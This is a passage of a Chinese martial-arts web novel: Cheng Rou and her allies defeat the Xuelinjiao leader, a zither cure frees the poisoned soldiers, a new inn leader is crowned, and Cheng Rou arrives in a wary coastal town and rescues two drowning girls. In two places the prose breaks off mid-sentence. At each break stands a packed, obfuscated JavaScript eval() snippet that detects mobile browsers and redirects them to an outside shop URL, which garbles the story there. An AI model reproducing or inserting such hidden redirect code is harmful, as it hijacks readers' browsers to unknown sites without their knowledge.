许一甩着方才已被打歪的短棍,朝着血鳞蛟劈头砸下。血鳞蛟探爪去抓,许一变舍了短棍,以掌为刀,刺向血鳞蛟胸口。这一下将后颈暴露在了血鳞蛟爪下,是殊死一搏之势。 刘氏姐妹从身后攻向血鳞蛟后腰,血鳞蛟避无可避。 “自作聪明!”血鳞蛟反手一爪,五指如钩。许一向下翻滚,姿势狼狈,保护住头颈,然而右肩胛被血鳞蛟勾住撕裂,鲜血汩汩。 血鳞蛟端详自己指尖,眼中闪过一丝诡光。 身后刘氏姐妹手中的峨眉刺刚刺入血鳞蛟皮肤便被震开,虽然得手,却没占到什么便宜。 火星四溅,掩盖了血鳞蛟衣角中散出的红雾。二人被震得气血翻涌,连退数步才稳住身形。 血鳞蛟走向跌倒在地的三人,意图攻击。刘平凝弃了刺与断鞭,翻身迎上,用的是最基础的龙鸣掌法,招招直取要害,全然不顾自身空门大露。 血鳞蛟的铁爪穿透她的左肩,她竟不闪不避,右手并指如剑,直刺他双目! 这以命换命的打法让血鳞蛟不得不收爪后撤。刘平凝也被打落在地。 不远处,程柔和蛟兵打着游击,再一次得手。血鳞蛟不由心急,丢下龙鸣客栈三人,再一次向程柔的方向疾掠。 脚下一痛。血鳞蛟低头看去,左脚被地上一根钉刺刺穿。 许一撑身,嘻嘻而笑。他的肩胛伤口痛得不正常,许是被那铁爪从里到外都撕开了。 血鳞蛟手上分水刺出击。刘平烟护住许一,与他交锋。 三人轮番上前补上缺口,阻止血鳞蛟前进。 11. 雨泽青野·其七 龙鸣客栈的三人正拼死阻挡血鳞蛟为自己争取时间,程柔看在眼里却分身乏术,心中更是焦急。 身后巨力蛟兵仍紧追不舍。程柔一面躲避,一面思索应对之策。 群落已被分散,每个人的行动清晰可见。程柔正观摩着,忽听得风声,是巨力蛟兵扔来一节树枝。 程柔闪身,那树枝便砸中身后一个蛟兵的脸。那人顿时口唇咬破,掉下三颗牙齿。 他摸摸自己肿胀凸起的面颊,神情愤怒,朝巨力蛟兵扑来。巨力蛟兵遇阻,自然不快,二人厮打在一起。 程柔心道:“原来这些蛟兵并非铁板一块,他们只遵循原始的攻击欲,只要受到刺激,就会改变目标。” 于是她落地站定,等到蛟兵涌来时,便在他们队列的缝隙间来回穿梭。 洗潋在鲛兵群中翻起花绳,将他们串串相连。两边蛟人碰头时被绊倒相撞,都觉得是对方的责任,愤而互殴。 其余被缠住的鲛兵也被他们连带着前前后后,过程中又不知是谁绊倒了谁,谁撞伤了谁,乒乒乓乓乱作一团。 如此的混乱自然引来血鳞鲛的注意。然他前脚刚脱身,就又被刘氏姐妹合力拉扯回去。怒而挥出分水刺,这次一个人都没打中。 许一被他用分水刺描了个边,重创之下,还有力气做鬼脸引逗,惹得血鳞鲛恼火。然而,脱身不能,一下打死对方也不能。 许一袖中藏着树枝,不知何时对准血鳞鲛左脚的伤处又捅出。血鳞鲛痛嘶一声,险些跌倒,手刀劈中许一胸口。 许一早有预备,在同一时刻后跃卸力。血鳞鲛那一掌还是伤及了他。然他将喉中涌出的鲜血吞下,脸上笑容不减。 巨力蛟兵持力横行,一下子成为众矢之的。不到一炷香的时间,他便被踢断了腿跌倒在地。昔日伙伴竟不管不顾,踏着他的身体往前。 在这期间,有个蛟兵却一直躲在混战的外围。 程柔在树上观望,注意到那人一直犹疑不前。似乎是觉得其他人厮打的场景太嘈杂,他竟闭上眼睛,用手捂住了双耳。 一个蛟兵从混战中被推出来,将那人撞倒。他迅速爬起,表情一瞬之间变得狰狞,向着对方出拳。 对方接住他拳。那鲛兵便翻转手腕,脱拳化掌,向着对方锁骨劈击。 招无常型,只在顺势而为,这很像林隐派“清风拂柳”的架势。在接近发狂的状态下还能如此有章法,显然是已将招式内化熟稔的缘故。 对方被劈中后后退踉跄。出招者却岿然不动,盯着自己劈出的手掌发愣。 程柔此时看清他双手。那双手骨节分明,十指修长,很像是一双奏琴之手。 “林秀!”程柔试探着呼唤道。 林秀看向程柔,他的双瞳还是赤色,神情十分茫然。就在这时,方才缠斗的蛟兵卷土重来。 程柔落在他身前,剑鞘击中来者心口,对方倒地。 就在此时,异变陡生。林秀眼中的一点茫然瞬间消散,喉中发出一声不似人声的低吼,并指如剑,直刺程柔后心。 程柔用剑鞘抵挡。林秀竟双手接住烧天,意图夺剑。 他用手指抵住剑鞘上的护环,全然不顾手指会擦伤,指甲会掀起。他已经忘记要保护双手——那双奏琴之人最宝贵的手。 投鼠忌器。程柔不愿硬来,只得任由林秀夺走剑鞘。自己尽力闪身或用剑脊抵挡,很是受束。 “吁!吁!”血鳞鲛捏指吹出短促尖锐的哨音。在这声音的催促下,林秀的进攻越发猛烈。血蛟狂使他的劲力无穷,程柔却非如此。此种情形若拖延太久,程柔只会越来越难以招架。 “为什么即使不是螺笛吹奏,林秀对这种声调也有反应?为什么其他被洗潋缠住的鲛兵不受影响?”程柔一面闪躲,一面思忖道。 血鳞鲛不再出招,只一味闪避抵挡攻击,口中哨声不停。他硬受刘平凝一掌,借力后跃,与三人拉开距离,嘶声道:“你们难道不觉得自己分外有劲吗?有没有感觉自己的内力越转越快,心头好像有火在烧?” 三人闻言俱是一怔,回想起方才情形,稍一运功,果然发现内力奔腾有些不受控制,心头有股燥火直冲灵台。 三人意识到不对,停下动作,收回劲力。一定是方才交手时被暗算,他们已中了血蛟狂!现在运转内力,会使毒素在体内渗入更深,更快疯魔。 “想没想起来是什么时候?”血鳞鲛欣赏他们表情,得意大笑,“怎么,这就不敢动了?” 笑声未落,他身形暴起,手中铁爪抹向刘平烟的咽喉。刘平凝本能地想挥棍格挡,运力刚起,那股燥热便猛地窜上心头,逼得她再次散功。就这电光石火的迟疑间,手中抵挡的短棍应声断裂。 烧天剑带着汹涌剑气破空而来,并非直取血鳞鲛的手臂,而是朝着他探向刘平烟咽喉的铁爪手腕削去。此剑角度刁钻,他若不收手,手腕必被齐根斩断。 “吁——”程柔捏指成哨,吹出血鳞鲛先前控鲛兵停止的下滑音调。林秀果然应声而停。再吹一下,林秀便彻底静止。 血鳞鲛不得不撤爪回防,铁爪与剑锋相撞,发出刺耳锐响。剑的冲势卸不去,划伤了他右臂。刘平烟趁势后滚,险死还生。 程柔身影已然掠至。她伸手接住烧天,落在血鳞鲛与龙鸣客栈三人之间。 右臂的剧痛、林秀的脱控,激起了血鳞鲛的凶性。他左爪如电,直抓程柔面门,依旧是那赖以成名的碎兵之力。 程柔侧身,烧天贴着铁爪一引一带,划出一道圆弧轨迹。血鳞鲛只觉自己的猛力被一股柔韧劲势带歪,失去控制。 血鳞鲛极快地变招,铁爪顺势下划,欲锁拿烧天剑身。程柔手腕轻抖,分刺他手臂数处要穴,逼得他再次回防。 在程柔控使之下,烧天仿佛有了生命,能在血鳞鲛力道将发之际,寻隙而入,攻其必救。他的猛攻次次被烧天化解逼退。 “只会躲算什么英雄?老子要把你的剑掰断!”血鳞鲛焦躁起来,攻势更显狂乱。 程柔并未理会他的挑衅。当他再次猛力抓来时,烧天剑尖不偏不倚,正点在他铁爪发力最核心的关节处。 一声脆响,火星四溅。血鳞鲛整条手臂瞬间酸麻。他赖以成名的力技彻底失效,铁爪上的裂纹蔓延。 烧天剑势直下,破开他铠甲,刺中他大腿、腰部,再到心口。 血鳞鲛全身一僵,内力瞬间滞涩,再也动弹不得。 程柔居高临下,持剑相对。 血鳞鲛脸上沾了泥土,喘息急促,仍是狂笑:“你的功夫不错,也够聪明,可是那又如何?你没有赢。林秀心魔未除,只要听见与螺笛类似的声调就会有反应。其他鲛兵,多是我从各个门派里搜罗来的······他们死了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669344|188623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你就会落下见死不救的罪名。 你总不会以为用凤鸣琴唤醒他们,便万事大吉吧?其实他们会更恨你······他们已经杀过人,名门正派不容,会恨你让他们难做。被救的人也恨你,恨你让他们醒来,面对这么残忍的事实。 你输给江湖人情,会有人替我们百蛟洞杀你!” 程柔轻叹一声,收剑归鞘。她打量一下三人的伤势,掏出创药递给了伤势最重的许一,而后去探刘平凝的脉搏,确认了无性命之虞。 程柔道:“诸位今日以命相托,在下铭记。请暂且封住内力整修,余下的事情有我。” 就在此时,众人耳畔传来一阵幽亮琴声,韵律高雅,动人心弦。 琴声如清泉漾来,音纹过处,蛟兵们眼中血色便被洗去,狂躁的嘶吼渐次平息,最终脱力倒地,陷入深眠。 众人纷纷朝琴音来处望去。是掌门叶寻音在柳葭丽的搀扶下前来。他盘坐树下,胸口伤势虽经包扎还是随着动作渗血,绕是如此,他也并未停止。一双苍老布茧的手在凤鸣琴上游走,心已与琴合为一体。 “师父!”林秀已然清醒。他跪在叶寻音身前,双目含泪。 琴音渐止,中毒的生灵皆受净化。蛟兵醒来后便不是蛟兵,他们会获得自由。坡塘已开,河水叮咚,鱼群嬉游。山脚的粮田经受滋养,还来得及结出丰收。 “秀儿,你其他师兄弟们现下如何,咳······你知道吗?” 林秀面色沉痛,摇了摇头。 “前辈,我昨日曾潜入凤栖阁,见到二十三名林隐弟子被绑缚,有五人重伤,我已为他们用药稳住伤势,无性命之虞。他们皆立誓绝不屈服叛变,其气节令晚辈钦佩。” “只见到二十三人吗······”叶寻音叹道。 “余者或许被转移到了别处。”程柔道。 叶寻音摇摇头,道:“我林隐派弟子皆有气节。纵容身陨,其志不灭。老身将去,传掌门之位于林秀,请诸位见证。” 众人静默。林秀向着叶寻音行叩首礼,流泪无言。叶寻音道:“血鳞鲛死前所言,也是老身担忧的。程姑娘,你意下如何?” “以武行道,所求并非赞誉,只为对得起良心。利益恩怨,是是非非在所难免,晚辈不会为此介怀。” 叶寻音点点头,向着柳葭丽道:“龙鸣客栈之事,老身亦有耳闻。有柳姑娘这样的侠士,是清风镇之幸。此番开坡可得民心,但继任掌门万般凶险,望柳姑娘当心,还望龙鸣客栈与林隐派多加往来,彼此间也能有所照应······咳······” “请前辈放心。”柳葭丽道。 程柔与龙鸣客栈众人下山时,县令梁行光携一众乡民等候在城门。 黄奔楼与他随从的遗体被运下山安葬,过程中众人听从柳葭丽调令。三日后,龙鸣客栈行掌门继位礼,县令梁行光参礼。先前进言三公主起战致使天罚的乡儒,坐在他身旁将要开口发言。 此时下雨了。 淅淅沥沥的雨逐渐汇集成一片雨帘,洗刷了镇上尘土,解了旱,更解了人们的焦灼心情。那些关于女子掌权的可怖想象,全都被淹没在这片雨声中。 程柔站在柳葭丽身侧,为她奉冠。而后她举起她的青野剑,用响彻人群的高声,道: “龙鸣有女,剑破赤劫。风暄葭丽,雨泽青野!” 12. 海定波宁·其一 青泱马还在飞驰。程柔骑在马上,与它一起飞跑了五天。 立冬将至。即使刚过正午,海风刮在身上也有透骨的寒意。 南淮州怀远县坐落于海滨,人们并不骑马。为避免引人注目,程柔将青泱安置在邻县的四海车马店。 走进一家酒馆,程柔落座。这个时间本是小高峰,酒店里人多声杂。为求融入当地,她已特地买了一套蓝色粗布的夹袄和宽筒裤换上。 “小妹,你要些什么?”来招待的店小二问道。 那小二分明一脸稚气,看起来不过十五岁。 程柔心中疑惑:“怎么在他看来我竟如此面嫩?我分明已年逾二八。”而后转念一想,心道:“是因为发型。这里的妇人十二三岁便可成婚,婚后都梳发髻。可我却是按照未婚女子的身份打扮,难怪他错认。” 于是程柔微笑道:“我要一份清蒸海鱼,一份朥粕粥,再要一叠豆干。多谢小哥。” 那小二却霎时冷了表情,道:“小姐,你是从哪里来?” 看来,还是因为口音暴露。听那小二如此说,周围的人,竟都停下手上动作,盯向程柔。 程柔愕然,顿了顿后,信口编造道:“我从江南映州来此探亲。我母亲是怀远县人,远嫁江南。外祖家仍在此地。前些天来信外祖母重病,我来看望。怎么?小哥要打探如此多吗?” “诶,哦。”那店小二见程柔不悦便下去了,向者老板娘报告些什么。程柔看着,心中称怪。 “换得了装束也换不了口音,被认出是外地来的也正常。只是这里的人为何如此排外?”程柔心道。 尽快地吃完饭,程柔顺着地图索引前往,终于找到一扇石门,上刻“沧浪门”三个大字,门边两侧立着螭吻像。 这就是程柔要找的帮派。他们是以制造和修补船具为生,和渔民做生意。此时本应是营业时间,可不知为何,他们竟关起大门。 程柔用门环在石板上扣了三下,里面传来一个闷闷的声音,道:“是谁来?什么事?” “映州龙鸣客栈来访,拜见掌门余前辈。”程柔道。 半晌,里面传来落门闩的声音。石门被开了一个很小的缝,内里传来另一个中年男子的声音,雄浑中透着疲惫:“是柳掌门吗?请进来吧。” 开一个门缝请客人挤进去,如果从门派间交往的礼仪而言,沧浪门的失礼程度可以说是很不像话。若说这是为掩人耳目,以他们如此缓慢的动作,又完全不像有此顾虑。 程柔心中疑惑,蹭进那条门缝,见到沧浪门掌门余振海。他曾经拜访过龙鸣客栈,那时龙鸣客栈以敬礼相待。 “程女侠?”余振海道。他的表情透出一副不甚满意的态度。 “也罢。反正,本来和你们也没什么好商量的。若是要做客喝茶,就请程姑娘明日再来吧。今日我门中还在造桅杆,没空接见龙鸣来使,请恕罪。” “我今日才到此地,已经听闻流言四散,沧浪门被造谣不敬神灵指使海船失事,处境很危险。”见余振海转身要走,程柔急声道,“你们难道没有收到三公主来信?” “阿威阿魏,送客。” 两个门徒架起长棍,几乎是将程柔推向门外。程柔伸手去架,并无退让之意。 余振海竟拔出腰间佩剑,道:“若程姑娘愿意明天早上来,一切还有得商量。不然,勿怪余某人不客气!” 这也太过荒谬了。程柔作此想。可她毕竟是来谈合作,不是来打架的。于是缓声道:“好吧。请沧浪门多加保重。我会明早再来。” 还未到酉时,天色已蒙上一层深蓝。西边天空燎起烧云,照得海水一片血红。 程柔走在海滨。渔船陆续归来,海岸上人群聚集。每有一艘船靠岸,都有三五成群的妇女上前,一起去搬船上捕来的鱼。 “快点,麻利点!就属你呆!”程柔远远听见一艘船上,有个粗嗓音的男人叫骂。船边,一个鱼篓翻了,银色的鱼被泼在沙滩上,摇着尾巴挣扎。人群里传来推搡和劝架的声音。 “阿昌哥,你消消火。嫂子刚流了孩子,不能这样推她啊。”一个女人劝道。另外几个女人去扶倒在地上的那位。 “推一下又怎么!她是不知道老子每天出海有多累,才敢这样浪费老子的力气!”被叫阿昌的男人还不解气,朝着倒地女人又踢一脚。 程柔心中愠怒,下意识去摸烧天剑。念及她这个外乡人在暴露身份之前还不能太出格,只能忍耐。于是只多看几眼记住了这些人的样貌,又因看不下去而快步离开。 沿着海岸又走了许久,忽得听得前面海上听见有人呼救。 “救命!秀菇姐,救命啊!”海上漂着两个少女,其中一个举着双手,在浪涛里起起伏伏。另一个少女已经近岸,听得那少女的呼声,便拼命向身后游去。 “慧花——你等我!不要慌!” 饶是如此,那个名叫慧花的少女看起来也快坚持不住。此时正值退潮,浪涛将她的身躯往海里卷去。 程柔解了外衣,奔步入海,踏着海波到达沉水的慧花身边。慧花正惊慌着,抓着程的腿将她拉入海里。 程柔揽住慧花的腰,慧花发现有人来救她,便紧紧抱住程柔的腰,乖乖不动了。那海水已经很深,浪卷得凶,她衣料湿水又带人,周身都沉。 “闭气。”程柔道。而后,她带着慧花沉进海里。 海水没顶,水面上的秀菇发出一声尖叫。 程柔点到水底,借着那冲力一跃出水,脚点浪花将慧花带回了岸边。两个少女打着寒颤相拥哭泣,而后又相视而笑。 “看你,才是胆小鬼!”秀菇道。慧花不好意思地笑。而后她们双双向着程柔鞠躬道谢。 “姐姐,你厉害得就像神仙!是不是你其实就是神仙?只有妈祖娘娘能在海上走路,能这样救人!” 程柔擦着发上的水,道:“我不是神仙。我只是个凡人,会一点武功。这么冷的天,你们怎么会在海里游泳?现在又是退潮,这太危险了。” 秀菇和慧花对视一下,然后秀菇开口道:“我和慧花发誓要结为姐妹夫妻。一辈子待在一起,都不嫁人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669345|188623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惠花说,我这么胆小,一定是爹娘一催促,我便嫁了。我说才不会。秀姑便要我证明胆量。所以我们便打赌,游到对面的石礁,再游回来。谁中途退缩,就是胆小鬼。谁知游到一半,居然是惠花抽筋。” “那我也没有退缩。我才不是胆小鬼!”慧花道。 “好吧,两位勇士。”程柔叹道:“你们现在是不是该先换个衣服,回家喝点姜茶?不然这样冷,要受风寒。” 秀菇和慧花抱着手臂,贴在一起,显然是已经很冷。听程柔如此说,都点头称是。 程柔打开自己随身的包裹,抽出两件披风、两件中衣递给她们。三个人躲在石礁洞中脱换。 程柔的衣服和秀菇、慧花平日所穿不同,是窄袖收腰的款式,秀菇与慧花换上以后,彼此打量,道: “这衣服真飒爽!” “姐姐,那你家在哪里?” “我家在海星坡。”程柔道。 “那么远!”两人异口同声道。 “现在天快黑了,你怎么走呢?不如先在这里找个地方住下吧。先去秀菇家歇歇脚,她家旁边有打尖住店的地方,秀菇带你去。” “秀菇。你的头发怎么湿了!你是不是去游泳了?是不是慧花拉你去?大冬天的,还这么疯!你这样以后到了婆家,肯定要挨打!她是谁?”秀菇的母亲盯着程柔,神色不善。 程柔立在门口,没有进去。秀菇冲上前,拦住母亲的腰,哭道:“娘,我以后再也不敢了,你不知道这次有多危险!是这个姐姐救的我和慧花,不然,我真害怕!” 看着秀菇哭,母亲脸上的愠色也软下来。她道:“好了好了。多大的姑娘了,还哭没得叫人笑话!”而后对着程柔道:“多谢你!我们秀菇给你添麻烦了。你头发也湿,在外面吹风多冷,进来吃杯茶吧。” 厨房和主屋之间隔着一个帘子,秀菇的母亲在帘后煮着姜茶。过了许久,她才端上一碗。程柔伸手去摸,发现并不烫,是温温的。 “孩子妈,快去把饭热一热!”一个男子推门进来,声调有些不耐烦。秀菇的母亲应道: “诶!”而后她看向程柔,促狭道:“你要不要留下来吃个便饭?” “不必打扰。我已在别处订了饭,这就要去了,多谢您。”程柔饮尽了姜茶,接过秀菇递来的衣服离开。 她并未走远,因为秀菇答应带她去找住店。 屋里男人还在催促,秀菇母亲道:“孩子他爸,火石已经磨得快点不起来了,我手笨,你来看看吧。” 修顾得父亲接过那火石,语气不满:“怎么用得这么秃了,你也不去买?” “我们没有钱了。上个月刚给海神交了香火钱,就已经只余下一点点了······” “我看就是那帮外乡来的波斯徒,神神叨叨,来刮我们的油水!”秀菇父亲怒道。 “嘘!孩子他爸,别说了!”秀菇的母亲意带恳求。 “刚才那个女人又是哪里来的?你怎么能放外乡人进家门!我看这件事要报告村长,免得闹出什么事牵连我们。”